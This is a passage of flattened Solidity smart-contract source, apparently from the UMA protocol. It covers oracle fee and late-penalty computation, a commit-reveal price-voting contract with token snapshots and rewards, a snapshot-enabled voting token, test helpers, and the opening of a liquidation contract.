The late penalty percentage increases over time as follows: * * - 0-1 week since startTime: no late penalty * * - 1-2 weeks since startTime: 1x late penalty percentage is applied * * - 2-3 weeks since startTime: 2x late penalty percentage is applied * * - ... * * @param startTime defines the beginning time from which the fee is paid. * @param endTime end time until which the fee is paid. * @param pfc "profit from corruption", or the maximum amount of margin currency that a * token sponsor could extract from the contract through corrupting the price feed in their favor. * @return regularFee amount owed for the duration from start to end time for the given pfc. * @return latePenalty penalty percentage, if any, for paying the fee after the deadline. */ function computeRegularFee( uint256 startTime, uint256 endTime, FixedPoint.Unsigned calldata pfc ) external override view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) { uint256 timeDiff = endTime.sub(startTime); // Multiply by the unscaled `timeDiff` first, to get more accurate results. regularFee = pfc.mul(timeDiff).mul(fixedOracleFeePerSecondPerPfc); // Compute how long ago the start time was to compute the delay penalty. uint256 paymentDelay = getCurrentTime().sub(startTime); // Compute the additional percentage (per second) that will be charged because of the penalty. // Note: if less than a week has gone by since the startTime, paymentDelay / SECONDS_PER_WEEK will truncate to // 0, causing no penalty to be charged. FixedPoint.Unsigned memory penaltyPercentagePerSecond = weeklyDelayFeePerSecondPerPfc.mul( paymentDelay.div(SECONDS_PER_WEEK) ); // Apply the penaltyPercentagePerSecond to the payment period. latePenalty = pfc.mul(timeDiff).mul(penaltyPercentagePerSecond); } /** * @notice Computes the final oracle fees that a contract should pay at settlement. * @param currency token used to pay the final fee. * @return finalFee amount due denominated in units of `currency`. */ function computeFinalFee(address currency) external override view returns (FixedPoint.Unsigned memory) { return finalFees[currency]; } /**************************************** * ADMIN STATE MODIFYING FUNCTIONS * ****************************************/ /** * @notice Sets a new oracle fee per second. * @param newFixedOracleFeePerSecondPerPfc new fee per second charged to use the oracle. */ function setFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned memory newFixedOracleFeePerSecondPerPfc) public onlyRoleHolder(uint256(Roles.Owner)) { // Oracle fees at or over 100% don't make sense. require(newFixedOracleFeePerSecondPerPfc.isLessThan(1), "Fee must be < 100% per second."); fixedOracleFeePerSecondPerPfc = newFixedOracleFeePerSecondPerPfc; emit NewFixedOracleFeePerSecondPerPfc(newFixedOracleFeePerSecondPerPfc); } /** * @notice Sets a new weekly delay fee. * @param newWeeklyDelayFeePerSecondPerPfc fee escalation per week of late fee payment. */ function setWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned memory newWeeklyDelayFeePerSecondPerPfc) public onlyRoleHolder(uint256(Roles.Owner)) { require(newWeeklyDelayFeePerSecondPerPfc.isLessThan(1), "weekly delay fee must be < 100%"); weeklyDelayFeePerSecondPerPfc = newWeeklyDelayFeePerSecondPerPfc; emit NewWeeklyDelayFeePerSecondPerPfc(newWeeklyDelayFeePerSecondPerPfc); } /** * @notice Sets a new final fee for a particular currency. * @param currency defines the token currency used to pay the final fee. * @param newFinalFee final fee amount. */ function setFinalFee(address currency, FixedPoint.Unsigned memory newFinalFee) public onlyRoleHolder(uint256(Roles.Owner)) { finalFees[currency] = newFinalFee; emit NewFinalFee(newFinalFee); } } contract Voting is Testable, Ownable, OracleInterface, VotingInterface { using FixedPoint for FixedPoint.Unsigned; using SafeMath for uint256; using VoteTiming for VoteTiming.Data; using ResultComputation for ResultComputation.Data; /**************************************** * VOTING DATA STRUCTURES * ****************************************/ // Identifies a unique price request for which the Oracle will always return the same value. // Tracks ongoing votes as well as the result of the vote. struct PriceRequest { bytes32 identifier; uint256 time; // A map containing all votes for this price in various rounds. mapping(uint256 => VoteInstance) voteInstances; // If in the past, this was the voting round where this price was resolved. If current or the upcoming round, // this is the voting round where this price will be voted on, but not necessarily resolved. uint256 lastVotingRound; // The index in the `pendingPriceRequests` that references this PriceRequest. A value of UINT_MAX means that // this PriceRequest is resolved and has been cleaned up from `pendingPriceRequests`. uint256 index; } struct VoteInstance { // Maps (voterAddress) to their submission. mapping(address => VoteSubmission) voteSubmissions; // The data structure containing the computed voting results. ResultComputation.Data resultComputation; } struct VoteSubmission { // A bytes32 of `0` indicates no commit or a commit that was already revealed. bytes32 commit; // The hash of the value that was revealed. // Note: this is only used for computation of rewards. bytes32 revealHash; } struct Round { uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken. FixedPoint.Unsigned inflationRate; // Inflation rate set for this round. FixedPoint.Unsigned gatPercentage; // Gat rate set for this round. uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until. } // Represents the status a price request has. enum RequestStatus { NotRequested, // Was never requested. Active, // Is being voted on in the current round. Resolved, // Was resolved in a previous round. Future // Is scheduled to be voted on in a future round. } // Only used as a return value in view methods -- never stored in the contract. struct RequestState { RequestStatus status; uint256 lastVotingRound; } /**************************************** * INTERNAL TRACKING * ****************************************/ // Maps round numbers to the rounds. mapping(uint256 => Round) public rounds; // Maps price request IDs to the PriceRequest struct. mapping(bytes32 => PriceRequest) private priceRequests; // Price request ids for price requests that haven't yet been marked as resolved. // These requests may be for future rounds. bytes32[] internal pendingPriceRequests; VoteTiming.Data public voteTiming; // Percentage of the total token supply that must be used in a vote to // create a valid price resolution. 1 == 100%. FixedPoint.Unsigned public gatPercentage; // Global setting for the rate of inflation per vote. This is the percentage of the snapshotted total supply that // should be split among the correct voters. // Note: this value is used to set per-round inflation at the beginning of each round. 1 = 100%. FixedPoint.Unsigned public inflationRate; // Time in seconds from the end of the round in which a price request is // resolved that voters can still claim their rewards. uint256 public rewardsExpirationTimeout; // Reference to the voting token. VotingToken public votingToken; // Reference to the Finder. FinderInterface private finder; // If non-zero, this contract has been migrated to this address. All voters and // financial contracts should query the new address only. address public migratedAddress; // Max value of an unsigned integer. uint256 private constant UINT_MAX = ~uint256(0); bytes32 public snapshotMessageHash = ECDSA.toEthSignedMessageHash(keccak256(bytes("Sign For Snapshot"))); /*************************************** * EVENTS * ****************************************/ event VoteCommitted(address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time); event EncryptedVote( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes encryptedVote ); event VoteRevealed( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, uint256 numTokens ); event RewardsRetrieved( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, uint256 numTokens ); event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time); event PriceResolved(uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price); /** * @notice Construct the Voting contract. * @param _phaseLength length of the commit and reveal phases in seconds. * @param _gatPercentage of the total token supply that must be used in a vote to create a valid price resolution. * @param _inflationRate percentage inflation per round used to increase token supply of correct voters. * @param _rewardsExpirationTimeout timeout, in seconds, within which rewards must be claimed. * @param _votingToken address of the UMA token contract used to commit votes. * @param _finder keeps track of all contracts within the system based on their interfaceName. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( uint256 _phaseLength, FixedPoint.Unsigned memory _gatPercentage, FixedPoint.Unsigned memory _inflationRate, uint256 _rewardsExpirationTimeout, address _votingToken, address _finder, address _timerAddress ) public Testable(_timerAddress) { voteTiming.init(_phaseLength); require(_gatPercentage.isLessThanOrEqual(1), "GAT percentage must be <= 100%"); gatPercentage = _gatPercentage; inflationRate = _inflationRate; votingToken = VotingToken(_votingToken); finder = FinderInterface(_finder); rewardsExpirationTimeout = _rewardsExpirationTimeout; } /*************************************** MODIFIERS ****************************************/ modifier onlyRegisteredContract() { if (migratedAddress != address(0)) { require(msg.sender == migratedAddress, "Caller must be migrated address"); } else { Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry)); require(registry.isContractRegistered(msg.sender), "Called must be registered"); } _; } modifier onlyIfNotMigrated() { require(migratedAddress == address(0), "Only call this if not migrated"); _; } /**************************************** * PRICE REQUEST AND ACCESS FUNCTIONS * ****************************************/ /** * @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. */ function requestPrice(bytes32 identifier, uint256 time) external override onlyRegisteredContract() { uint256 blockTime = getCurrentTime(); require(time <= blockTime, "Can only request in past"); require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier request"); bytes32 priceRequestId = _encodePriceRequest(identifier, time); PriceRequest storage priceRequest = priceRequests[priceRequestId]; uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId); if (requestStatus == RequestStatus.NotRequested) { // Price has never been requested. // Price requests always go in the next round, so add 1 to the computed current round. uint256 nextRoundId = currentRoundId.add(1); priceRequests[priceRequestId] = PriceRequest({ identifier: identifier, time: time, lastVotingRound: nextRoundId, index: pendingPriceRequests.length }); pendingPriceRequests.push(priceRequestId); emit PriceRequestAdded(nextRoundId, identifier, time); } } /** * @notice Whether the price for `identifier` and `time` is available. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp of for the price request. * @return _hasPrice bool if the DVM has resolved to a price for the given identifier and timestamp. */ function hasPrice(bytes32 identifier, uint256 time) external override view onlyRegisteredContract() returns (bool) { (bool _hasPrice, , ) = _getPriceOrError(identifier, time); return _hasPrice; } /** * @notice Gets the price for `identifier` and `time` if it has already been requested and resolved. * @dev If the price is not available, the method reverts. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp of for the price request. * @return int256 representing the resolved price for the given identifier and timestamp. */ function getPrice(bytes32 identifier, uint256 time) external override view onlyRegisteredContract() returns (int256) { (bool _hasPrice, int256 price, string memory message) = _getPriceOrError(identifier, time); // If the price wasn't available, revert with the provided message. require(_hasPrice, message); return price; } /** * @notice Gets the status of a list of price requests, identified by their identifier and time. * @dev If the status for a particular request is NotRequested, the lastVotingRound will always be 0. * @param requests array of type PendingRequest which includes an identifier and timestamp for each request. * @return requestStates a list, in the same order as the input list, giving the status of each of the specified price requests. */ function getPriceRequestStatuses(PendingRequest[] memory requests) public view returns (RequestState[] memory) { RequestState[] memory requestStates = new RequestState[](requests.length); uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime()); for (uint256 i = 0; i < requests.length; i++) { PriceRequest storage priceRequest = _getPriceRequest(requests[i].identifier, requests[i].time); RequestStatus status = _getRequestStatus(priceRequest, currentRoundId); // If it's an active request, its true lastVotingRound is the current one, even if it hasn't been updated. if (status == RequestStatus.Active) { requestStates[i].lastVotingRound = currentRoundId; } else { requestStates[i].lastVotingRound = priceRequest.lastVotingRound; } requestStates[i].status = status; } return requestStates; } /**************************************** * VOTING FUNCTIONS * ****************************************/ /** * @notice Commit a vote for a price request for `identifier` at `time`. * @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase. * Commits can be changed. * @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior, * voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then * they can determine the vote pre-reveal. * @param identifier uniquely identifies the committed vote. EG BTC/USD price pair. * @param time unix timestamp of the price being voted on. * @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`. */ function commitVote( bytes32 identifier, uint256 time, bytes32 hash ) public override onlyIfNotMigrated() { require(hash != bytes32(0), "Invalid provided hash"); // Current time is required for all vote timing queries. uint256 blockTime = getCurrentTime(); require(voteTiming.computeCurrentPhase(blockTime) == Phase.Commit, "Cannot commit in reveal phase"); // At this point, the computed and last updated round ID should be equal. uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); PriceRequest storage priceRequest = _getPriceRequest(identifier, time); require( _getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active, "Cannot commit inactive request" ); priceRequest.lastVotingRound = currentRoundId; VoteInstance storage voteInstance = priceRequest.voteInstances[currentRoundId]; voteInstance.voteSubmissions[msg.sender].commit = hash; emit VoteCommitted(msg.sender, currentRoundId, identifier, time); } /** * @notice Snapshot the current round's token balances and lock in the inflation rate and GAT. * @dev This function can be called multiple times, but only the first call per round into this function or `revealVote` * will create the round snapshot. Any later calls will be a no-op. Will revert unless called during reveal period. * @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the * snapshot. */ function snapshotCurrentRound(bytes calldata signature) external override onlyIfNotMigrated() { uint256 blockTime = getCurrentTime(); require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Only snapshot in reveal phase"); // Require public snapshot require signature to ensure caller is an EOA. require(ECDSA.recover(snapshotMessageHash, signature) == msg.sender, "Signature must match sender"); uint256 roundId = voteTiming.computeCurrentRoundId(blockTime); _freezeRoundVariables(roundId); } /** * @notice Reveal a previously committed vote for `identifier` at `time`. * @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash` * that `commitVote()` was called with. Only the committer can reveal their vote. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param price voted on during the commit phase. * @param salt value used to hide the commitment price during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, int256 salt ) public override onlyIfNotMigrated() { uint256 blockTime = getCurrentTime(); require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Cannot reveal in commit phase"); // Note: computing the current round is required to disallow people from // revealing an old commit after the round is over. uint256 roundId = voteTiming.computeCurrentRoundId(blockTime); PriceRequest storage priceRequest = _getPriceRequest(identifier, time); VoteInstance storage voteInstance = priceRequest.voteInstances[roundId]; VoteSubmission storage voteSubmission = voteInstance.voteSubmissions[msg.sender]; // 0 hashes are disallowed in the commit phase, so they indicate a different error. // Cannot reveal an uncommitted or previously revealed hash require(voteSubmission.commit != bytes32(0), "Invalid hash reveal"); require( keccak256(abi.encodePacked(price, salt, msg.sender, time, roundId, identifier)) == voteSubmission.commit, "Revealed data != commit hash" ); // To protect against flash loans, we require snapshot be validated as EOA. require(rounds[roundId].snapshotId != 0, "Round has no snapshot"); // Get the frozen snapshotId uint256 snapshotId = rounds[roundId].snapshotId; delete voteSubmission.commit; // Get the voter's snapshotted balance. Since balances are returned pre-scaled by 10**18, we can directly // initialize the Unsigned value with the returned uint. FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(votingToken.balanceOfAt(msg.sender, snapshotId)); // Set the voter's submission. voteSubmission.revealHash = keccak256(abi.encode(price)); // Add vote to the results. voteInstance.resultComputation.addVote(price, balance); emit VoteRevealed(msg.sender, roundId, identifier, time, price, balance.rawValue); } /** * @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote * @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to * retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience. * @param identifier unique price pair identifier. Eg: BTC/USD price pair. * @param time unix timestamp of for the price request. * @param hash keccak256 hash of the price you want to vote for and a `int256 salt`. * @param encryptedVote offchain encrypted blob containing the voters amount, time and salt. */ function commitAndEmitEncryptedVote( bytes32 identifier, uint256 time, bytes32 hash, bytes memory encryptedVote ) public { commitVote(identifier, time, hash); uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime()); emit EncryptedVote(msg.sender, roundId, identifier, time, encryptedVote); } /** * @notice Submit a batch of commits in a single transaction. * @dev Using `encryptedVote` is optional. If included then commitment is emitted in an event. * Look at `project-root/common/Constants.js` for the tested maximum number of * commitments that can fit in one transaction. * @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(Commitment[] calldata commits) external override { for (uint256 i = 0; i < commits.length; i++) { if (commits[i].encryptedVote.length == 0) { commitVote(commits[i].identifier, commits[i].time, commits[i].hash); } else { commitAndEmitEncryptedVote( commits[i].identifier, commits[i].time, commits[i].hash, commits[i].encryptedVote ); } } } /** * @notice Reveal multiple votes in a single transaction. * Look at `project-root/common/Constants.js` for the tested maximum number of reveals. * that can fit in one transaction. * @dev For more information on reveals, review the comment for `revealVote`. * @param reveals array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(Reveal[] calldata reveals) external override { for (uint256 i = 0; i < reveals.length; i++) { revealVote(reveals[i].identifier, reveals[i].time, reveals[i].price, reveals[i].salt); } } /** * @notice Retrieves rewards owed for a set of resolved price requests. * @dev Can only retrieve rewards if calling for a valid round and if the * call is done within the timeout threshold (not expired). * @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller. * @param roundId the round from which voting rewards will be retrieved from. * @param toRetrieve array of PendingRequests which rewards are retrieved from. * @return totalRewardToIssue total amount of rewards returned to the voter. */ function retrieveRewards( address voterAddress, uint256 roundId, PendingRequest[] memory toRetrieve ) public override returns (FixedPoint.Unsigned memory totalRewardToIssue) { if (migratedAddress != address(0)) { require(msg.sender == migratedAddress, "Can only call from migrated"); } uint256 blockTime = getCurrentTime(); require(roundId < voteTiming.computeCurrentRoundId(blockTime), "Invalid roundId"); Round storage round = rounds[roundId]; bool isExpired = blockTime > round.rewardsExpirationTime; FixedPoint.Unsigned memory snapshotBalance = FixedPoint.Unsigned( votingToken.balanceOfAt(voterAddress, round.snapshotId) ); // Compute the total amount of reward that will be issued for each of the votes in the round. FixedPoint.Unsigned memory snapshotTotalSupply = FixedPoint.Unsigned( votingToken.totalSupplyAt(round.snapshotId) ); FixedPoint.Unsigned memory totalRewardPerVote = round.inflationRate.mul(snapshotTotalSupply); // Keep track of the voter's accumulated token reward. totalRewardToIssue = FixedPoint.Unsigned(0); for (uint256 i = 0; i < toRetrieve.length; i++) { PriceRequest storage priceRequest = _getPriceRequest(toRetrieve[i].identifier, toRetrieve[i].time); VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; // Only retrieve rewards for votes resolved in same round require(priceRequest.lastVotingRound == roundId, "Retrieve for votes same round"); _resolvePriceRequest(priceRequest, voteInstance); if (voteInstance.voteSubmissions[voterAddress].revealHash == 0) { continue; } else if (isExpired) { // Emit a 0 token retrieval on expired rewards. emit RewardsRetrieved(voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, 0); } else if ( voteInstance.resultComputation.wasVoteCorrect(voteInstance.voteSubmissions[voterAddress].revealHash) ) { // The price was successfully resolved during the voter's last voting round, the voter revealed // and was correct, so they are eligible for a reward. // Compute the reward and add to the cumulative reward. FixedPoint.Unsigned memory reward = snapshotBalance.mul(totalRewardPerVote).div( voteInstance.resultComputation.getTotalCorrectlyVotedTokens() ); totalRewardToIssue = totalRewardToIssue.add(reward); // Emit reward retrieval for this vote. emit RewardsRetrieved( voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, reward.rawValue ); } else { // Emit a 0 token retrieval on incorrect votes. emit RewardsRetrieved(voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, 0); } // Delete the submission to capture any refund and clean up storage. delete voteInstance.voteSubmissions[voterAddress].revealHash; } // Issue any accumulated rewards. if (totalRewardToIssue.isGreaterThan(0)) { require(votingToken.mint(voterAddress, totalRewardToIssue.rawValue), "Voting token issuance failed"); } } /**************************************** * VOTING GETTER FUNCTIONS * ****************************************/ /** * @notice Gets the queries that are being voted on this round. * @return pendingRequests array containing identifiers of type `PendingRequest`. * and timestamps for all pending requests. */ function getPendingRequests() external override view returns (PendingRequest[] memory) { uint256 blockTime = getCurrentTime(); uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime); // Solidity memory arrays aren't resizable (and reading storage is expensive). Hence this hackery to filter // `pendingPriceRequests` only to those requests that have an Active RequestStatus. PendingRequest[] memory unresolved = new PendingRequest[](pendingPriceRequests.length); uint256 numUnresolved = 0; for (uint256 i = 0; i < pendingPriceRequests.length; i++) { PriceRequest storage priceRequest = priceRequests[pendingPriceRequests[i]]; if (_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active) { unresolved[numUnresolved] = PendingRequest({ identifier: priceRequest.identifier, time: priceRequest.time }); numUnresolved++; } } PendingRequest[] memory pendingRequests = new PendingRequest[](numUnresolved); for (uint256 i = 0; i < numUnresolved; i++) { pendingRequests[i] = unresolved[i]; } return pendingRequests; } /** * @notice Returns the current voting phase, as a function of the current time. * @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }. */ function getVotePhase() external override view returns (Phase) { return voteTiming.computeCurrentPhase(getCurrentTime()); } /** * @notice Returns the current round ID, as a function of the current time. * @return uint256 representing the unique round ID. */ function getCurrentRoundId() external override view returns (uint256) { return voteTiming.computeCurrentRoundId(getCurrentTime()); } /**************************************** * OWNER ADMIN FUNCTIONS * ****************************************/ /** * @notice Disables this Voting contract in favor of the migrated one. * @dev Can only be called by the contract owner. * @param newVotingAddress the newly migrated contract address. */ function setMigrated(address newVotingAddress) external onlyOwner { migratedAddress = newVotingAddress; } /** * @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newInflationRate sets the next round's inflation rate. */ function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public onlyOwner { inflationRate = newInflationRate; } /** * @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun. * @dev This method is public because calldata structs are not currently supported by solidity. * @param newGatPercentage sets the next round's Gat percentage. */ function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public onlyOwner { require(newGatPercentage.isLessThan(1), "GAT percentage must be < 100%"); gatPercentage = newGatPercentage; } /** * @notice Resets the rewards expiration timeout. * @dev This change only applies to rounds that have not yet begun. * @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards. */ function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public onlyOwner { rewardsExpirationTimeout = NewRewardsExpirationTimeout; } /**************************************** * PRIVATE AND INTERNAL FUNCTIONS * ****************************************/ // Returns the price for a given identifer. Three params are returns: bool if there was an error, int to represent // the resolved price and a string which is filled with an error message, if there was an error or "". function _getPriceOrError(bytes32 identifier, uint256 time) private view returns ( bool, int256, string memory ) { PriceRequest storage priceRequest = _getPriceRequest(identifier, time); uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime()); RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId); if (requestStatus == RequestStatus.Active) { return (false, 0, "Current voting round not ended"); } else if (requestStatus == RequestStatus.Resolved) { VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; (, int256 resolvedPrice) = voteInstance.resultComputation.getResolvedPrice( _computeGat(priceRequest.lastVotingRound) ); return (true, resolvedPrice, ""); } else if (requestStatus == RequestStatus.Future) { return (false, 0, "Price is still to be voted on"); } else { return (false, 0, "Price was never requested"); } } function _getPriceRequest(bytes32 identifier, uint256 time) private view returns (PriceRequest storage) { return priceRequests[_encodePriceRequest(identifier, time)]; } function _encodePriceRequest(bytes32 identifier, uint256 time) private pure returns (bytes32) { return keccak256(abi.encode(identifier, time)); } function _freezeRoundVariables(uint256 roundId) private { Round storage round = rounds[roundId]; // Only on the first reveal should the snapshot be captured for that round. if (round.snapshotId == 0) { // There is no snapshot ID set, so create one. round.snapshotId = votingToken.snapshot(); // Set the round inflation rate to the current global inflation rate. rounds[roundId].inflationRate = inflationRate; // Set the round gat percentage to the current global gat rate. rounds[roundId].gatPercentage = gatPercentage; // Set the rewards expiration time based on end of time of this round and the current global timeout. rounds[roundId].rewardsExpirationTime = voteTiming.computeRoundEndTime(roundId).add( rewardsExpirationTimeout ); } } function _resolvePriceRequest(PriceRequest storage priceRequest, VoteInstance storage voteInstance) private { if (priceRequest.index == UINT_MAX) { return; } (bool isResolved, int256 resolvedPrice) = voteInstance.resultComputation.getResolvedPrice( _computeGat(priceRequest.lastVotingRound) ); require(isResolved, "Can't resolve unresolved request"); // Delete the resolved price request from pendingPriceRequests. uint256 lastIndex = pendingPriceRequests.length - 1; PriceRequest storage lastPriceRequest = priceRequests[pendingPriceRequests[lastIndex]]; lastPriceRequest.index = priceRequest.index; pendingPriceRequests[priceRequest.index] = pendingPriceRequests[lastIndex]; pendingPriceRequests.pop(); priceRequest.index = UINT_MAX; emit PriceResolved(priceRequest.lastVotingRound, priceRequest.identifier, priceRequest.time, resolvedPrice); } function _computeGat(uint256 roundId) private view returns (FixedPoint.Unsigned memory) { uint256 snapshotId = rounds[roundId].snapshotId; if (snapshotId == 0) { // No snapshot - return max value to err on the side of caution. return FixedPoint.Unsigned(UINT_MAX); } // Grab the snapshotted supply from the voting token. It's already scaled by 10**18, so we can directly // initialize the Unsigned value with the returned uint. FixedPoint.Unsigned memory snapshottedSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(snapshotId)); // Multiply the total supply at the snapshot by the gatPercentage to get the GAT in number of tokens. return snapshottedSupply.mul(rounds[roundId].gatPercentage); } function _getRequestStatus(PriceRequest storage priceRequest, uint256 currentRoundId) private view returns (RequestStatus) { if (priceRequest.lastVotingRound == 0) { return RequestStatus.NotRequested; } else if (priceRequest.lastVotingRound < currentRoundId) { VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound]; (bool isResolved, ) = voteInstance.resultComputation.getResolvedPrice( _computeGat(priceRequest.lastVotingRound) ); return isResolved ? RequestStatus.Resolved : RequestStatus.Active; } else if (priceRequest.lastVotingRound == currentRoundId) { return RequestStatus.Active; } else { // Means than priceRequest.lastVotingRound > currentRoundId return RequestStatus.Future; } } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } } contract VotingToken is ExpandedERC20, ERC20Snapshot { /** * @notice Constructs the VotingToken. */ constructor() public ExpandedERC20("UMA Voting Token v1", "UMA", 18) {} /** * @notice Creates a new snapshot ID. * @return uint256 Thew new snapshot ID. */ function snapshot() external returns (uint256) { return _snapshot(); } // _transfer, _mint and _burn are ERC20 internal methods that are overridden by ERC20Snapshot, // therefore the compiler will complain that VotingToken must override these methods // because the two base classes (ERC20 and ERC20Snapshot) both define the same functions function _transfer( address from, address to, uint256 value ) internal override(ERC20, ERC20Snapshot) { super._transfer(from, to, value); } function _mint(address account, uint256 value) internal override(ERC20, ERC20Snapshot) { super._mint(account, value); } function _burn(address account, uint256 value) internal override(ERC20, ERC20Snapshot) { super._burn(account, value); } } contract MockAdministratee is AdministrateeInterface { uint256 public timesRemargined; uint256 public timesEmergencyShutdown; function remargin() external override { timesRemargined++; } function emergencyShutdown() external override { timesEmergencyShutdown++; } } contract VotingTest is Voting { constructor( uint256 _phaseLength, FixedPoint.Unsigned memory _gatPercentage, FixedPoint.Unsigned memory _inflationRate, uint256 _rewardsExpirationTimeout, address _votingToken, address _finder, address _timerAddress ) public Voting( _phaseLength, _gatPercentage, _inflationRate, _rewardsExpirationTimeout, _votingToken, _finder, _timerAddress ) {} function getPendingPriceRequestsArray() external view returns (bytes32[] memory) { return pendingPriceRequests; } } contract Liquidatable is PricelessPositionManager { using FixedPoint for FixedPoint.Unsigned; using SafeMath for uint256; using SafeERC20 for IERC20; /**************************************** * LIQUIDATION DATA STRUCTURES * ****************************************/ // Because of the check in withdrawable(), the order of these enum values should not change. enum Status { Uninitialized, PreDispute, PendingDispute, DisputeSucceeded, DisputeFailed } struct LiquidationData { // Following variables set upon creation of liquidation: address sponsor; // Address of the liquidated position's sponsor address liquidator; // Address who created this liquidation Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle // Following variables determined by the position that is being liquidated: FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute // Amount of collateral being liquidated, which could be different from // lockedCollateral if there were pending withdrawals at the time of liquidation FixedPoint.Unsigned liquidatedCollateral; // Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation. FixedPoint.Unsigned rawUnitCollateral; // Following variable set upon initiation of a dispute: address disputer; // Person who is disputing a liquidation // Following variable set upon a resolution of a dispute: FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute FixedPoint.Unsigned finalFee; } // Define the contract's constructor parameters as a struct to enable more variables to be specified. // This is required to enable more params, over and above Solidity's limits. struct ConstructorParams { // Params for PricelessPositionManager only. uint256 expirationTimestamp; uint256 withdrawalLiveness; address collateralAddress; address finderAddress; address tokenFactoryAddress; address timerAddress; address excessTokenBeneficiary; bytes32 priceFeedIdentifier; string syntheticName; string syntheticSymbol; FixedPoint.Unsigned minSponsorTokens; // Params specifically for Liquidatable. uint256 liquidationLiveness; FixedPoint.Unsigned collateralRequirement; FixedPoint.Unsigned disputeBondPct; FixedPoint.Unsigned sponsorDisputeRewardPct; FixedPoint.Unsigned disputerDisputeRewardPct; } // Liquidations are unique by ID per sponsor mapping(address => LiquidationData[]) public liquidations; // Total collateral in liquidation. FixedPoint.Unsigned public rawLiquidationCollateral; // Immutable contract parameters: // Amount of time for pending liquidation before expiry. // !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors. // Extremely low liveness values increase the chance that opportunistic invalid liquidations // expire without dispute, thereby decreasing the usability for sponsors and increasing the risk // for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic // token holder for the contract. uint256 public liquidationLiveness; // Required collateral:TRV ratio for a position to be considered sufficiently collateralized. FixedPoint.Unsigned public collateralRequirement; // Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer // Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%" FixedPoint.Unsigned public disputeBondPct; // Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute) // Represented as a multiplier, 